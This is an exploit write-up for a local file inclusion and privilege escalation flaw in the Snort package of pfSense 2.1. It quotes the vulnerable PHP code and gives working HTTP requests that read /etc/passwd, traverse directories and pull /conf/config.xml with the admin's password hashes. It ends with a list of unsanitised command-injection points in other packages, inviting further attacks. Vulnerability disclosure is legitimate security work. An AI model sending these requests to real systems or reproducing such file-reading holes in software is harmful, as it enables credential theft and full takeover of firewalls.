pfSense 2.1 Inclusion / Traversal / Escalation

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#  
# Exploit Title: pfSense 2.1 Privilege Escalation from less privileged  
users (LFI/RCE)  
# Date: 25/01/2014 (0-day)  
# Exploit Author: @u0x (Pichaya Morimoto)  
# Software Link: www.pfsense.org  
# Category: Local File Inclusion (LFI) & Privilege Escalation  
# Version: pfSense 2.1 build 20130911-1816 with snort 2.9.5.5 pkg v.3.0.2  
#  
#####################################################################  
  
  
  
pfSense firewall/router distribution description :  
  
======================================================================  
  
pfSense is a free, open source customized distribution of FreeBSD tailored  
for use as a firewall and router. In addition to being a powerful, flexible  
firewalling and routing platform, it includes a long list of related  
features and a package system allowing further expandability without adding  
bloat and potential security vulnerabilities to the base distribution.  
pfSense is a popular project with more than 1 million downloads since its  
inception, and proven in countless installations ranging from small home  
networks protecting a PC and an Xbox to large corporations, universities  
and other organizations protecting thousands of network devices.  
  
This project started in 2004 as a fork of the m0n0wall project, but focused  
towards full PC installations rather than the embedded hardware focus of  
m0n0wall. pfSense also offers an embedded image for Compact Flash based  
installations, however it is not our primary focus.  
  
Attack Scenario  
  
======================================================================  
  
Authenticated users with only permission to access some packages in web gui  
(a.k.a. webConfigurator) will be able to escalate themselves to other  
privileged admin by reading /conf/config.xml file through bugs (i.e. Snort  
LFI), result in fully compromise the pfSense.  
  
This attack abuse the user privilege scheme with some of official packages  
(System > Package Manager)  
  
* Session Hijacking also possible to steal less privileged user sessions to  
perform this trick due to "http" admin by default webConfigurator.  
  
Sample bug #1 : Snort Admin Privilege Escalation via Local File Inclusion  
Vulnerability  
  
Vulnerable file:  
  
======================================================================  
  
snort_log_view.php  
  
[+] Checksum  
SHA1: ec1330e804eb028f2410c8ef9439df103bb2764c  
MD5: cd767e46a4e9e09ede7fd26560e37f14  
  
Vulnerable Source Code :  
======================================================================  
http://www.pfsense.com/packages/config/snort/snort_log_view.php  
https://github.com/pfsense/pfsense-packages/blob/master/config/snort/snort_log_view.php  
  
(deducted)...  
  
$contents = '';  
// Read the contents of the argument passed to us.  
// Is it a fully qualified path and file?  
  
if (file_exists($_GET['logfile']))  
$contents = file_get_contents($_GET['logfile']);  
// It is not something we can display, so print an error.  
else  
$contents = gettext("\n\nERROR -- File: {$_GET['logfile']} not  
found!");  
$pgtitle = array(gettext("Snort"), gettext("Log File Viewer"));  
?>  
  
(deducted)...  
<textarea style="width:100%; height:100%;" readonly wrap="off" rows="33"  
cols="80" name="code2"><?=$contents;?></textarea>  
(deducted)...  
  
  
  
Proof of Concept 1 : Arbitrary File Inclusion  
======================================================================  
  
GET /snort/snort_log_view.php?logfile=/etc/passwd HTTP/1.1  
Host: firewall1.pentestlab1:1337  
Connection: keep-alive  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Encoding: gzip,deflate,sdch  
Accept-Language: th,en-US;q=0.8,en;q=0.6  
Cookie: PHPSESSID=980de3bdd73f6bc4728b0dca854de258; cookie_test=1390628083  
  
HTTP/1.1 200 OK  
Expires: Mon, 27 Jan 2014 07:25:10 GMT  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: max-age=180000  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,  
pre-check=0  
Last-Modified: Sat, 25 Jan 2014 05:25:10 GMT  
X-Frame-Options: SAMEORIGIN  
Pragma: no-cache  
Content-type: text/html  
Transfer-Encoding: chunked  
Date: Sat, 25 Jan 2014 05:25:10 GMT  
Server: lighttpd/1.4.32  
  
(deducted)...  
<td colspan="2" valign="top" class="label">  
<div style="background: #eeeeee; width:100%; height:100%;"  
id="textareaitem"><!-- NOTE: The opening *and* the closing textarea tag  
must be on the same line. -->  
<textarea style="width:100%; height:100%;" readonly wrap="off"  
rows="33" cols="80" name="code2">root:*:0:0:Charlie &:/root:/bin/sh  
toor:*:0:0:Bourne-again Superuser:/root:  
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin  
operator:*:2:5:System &:/:/usr/sbin/nologin  
(deducted)...  
havp:*:1003:2000:havp daemon:/nonexistent:/sbin/nologin  
squid:*:100:100:squid caching-proxy pseudo user:/var/squid:/usr/sbin/nologin  
c_icap:*:959:959:c-icap daemon:/var/empty:/usr/sbin/nologin  
snortadmin:*:2000:65534:Bill Gates:/home/snortadmin:/sbin/nologin  
(deducted)...  
  
Proof of Concept 2 : Directory Traversal  
# This trick works on PHP 5.3.27 with Suhosin-Patch (cgi-fcgi) +  
Lighttpd/1.4.32 on FreeBSD 8.3 x64  
======================================================================  
  
GET /snort/snort_log_view.php?logfile=../ HTTP/1.1  
Host: firewall1.pentestlab1:1337  
Connection: keep-alive  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Encoding: gzip,deflate,sdch  
Accept-Language: th,en-US;q=0.8,en;q=0.6  
Cookie: PHPSESSID=980de3bdd73f6bc4728b0dca854de258; cookie_test=1390628083  
  
(deducted)...  
¬p.Z..­p firewall_rules_edit.php®p  
xmlrpc.php¯p  
wizard.php°p  
vpn_pptp_users_edit.php±pvpn_pptp_users.php²pvpn_pptp.php³pvpn_pppoe_edit.php´p  
vpn_pppoe.phpµp vpn_openvpn_server.php¶pvpn_openvpn_csc.php·p  
vpn_openvpn_client.php¸p  
vpn_l2tp_users_edit.php¹pvpn_l2tp_users.phpºpvpn_l2tp.php»p  
vpn_ipsec_phase2.php¼p vpn_ipsec_phase1.php½p(vpn_ipsec_mobile.php¾p  
vpn_ipsec_keys_edit.php¿pvpn_ipsec_keys.phpÀp  
vpn_ipsec.phpÁpuploadconfig.phpÂptreeview.cssÃpwizardsÏp  
tree-imagesÛp0$system_usermanager_settings_test.phpÜp8,system_usermanager_settings_ldapacpicker.phpÿÿÿÝp(system_usermanager_settings.phpÞp,!  
(deducted)...  
  
Proof of Concept 3 : Privilege Escalation  
# -rw-r--r-- root wheel 30k Jan 25 11:35 config.xml  
======================================================================  
  
GET /snort/snort_log_view.php?logfile=/conf/config.xml HTTP/1.1  
Host: firewall1.pentestlab1:1337  
Connection: keep-alive  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Encoding: gzip,deflate,sdch  
Accept-Language: th,en-US;q=0.8,en;q=0.6  
Cookie: PHPSESSID=980de3bdd73f6bc4728b0dca854de258; cookie_test=1390628083  
  
(deducted)...  
<group>  
<name>office</name>  
<description><![CDATA[Main Office Employees]]></description>  
<member>2000</member>  
<gid>2000</gid>  
</group>  
<user>  
<name>admin</name>  
<descr><![CDATA[System Administrator]]></descr>  
<scope>system</scope>  
<groupname>admins</groupname>  
<password>$1$y8KiO3ow$mmMX4R0hE (deducted)...</password>  
<uid>0</uid>  
<priv>user-shell-access</priv>  
<md5-hash>d4383b6f4c9fa (deducted)...</md5-hash>  
<nt-hash>356239666432306265376131653 (deducted)...</nt-hash>  
</user>  
(deducted)...  
  
P.S. There are many other ways to escalate from less-privileged users using  
official packages.  
For example, some OS command injections (Feel free to dig deeper than me..  
LoL)  
  
arping/arping.inc:38: system("arping -c3 " . $_POST['hostip']);  
tinc/tinc.inc:173: mwexec("/sbin/ifconfig  
{$realif} -group " . $a_ifgroups[$_GET['id']]['ifname']);  
spamd/spamd_db_ext.php:57:exec("echo {$_GET['action']} > /tmp/tmp");  
spamd/spamd_db.php:106: $status = exec("/usr/local/sbin/spamdb | grep  
\"{$_GET['getstatus']}\"");  
freeswitch_dev/v_profiles.tmp:38: exec("cp  
".$v_conf_dir.".orig/sip_profiles/".$_GET['f']."  
".$v_conf_dir."/sip_profiles/".$_GET['f']);  
freeswitch_dev/v_profiles.tmp:60: exec("rm  
".$v_conf_dir."/sip_profiles/".$_GET['f']);  
snort-dev/snortsam-package-code/snort_new.inc:112:  
exec("/bin/ln -s  
/usr/local/etc/snort/snortDBrules/DB/{$_POST['ruledbname']}/rules  
{$pathToSnortDir}/{$newSnortDir}/rules");  
snort-dev/snortsam-package-code/snort_new.inc:129:  
$sidLinePosPre = exec('/usr/bin/sed -n /sid:' . $_POST['snortSidNum'] .  
'\;/= ' . $workingFile);  
  
# Special Thanks : Xelenonz, pistachio, pe3z and 2600 Thailand.  
# Video PoC (Thai version) : https://www.youtube.com/watch?v=dGwOUccGZnE  
`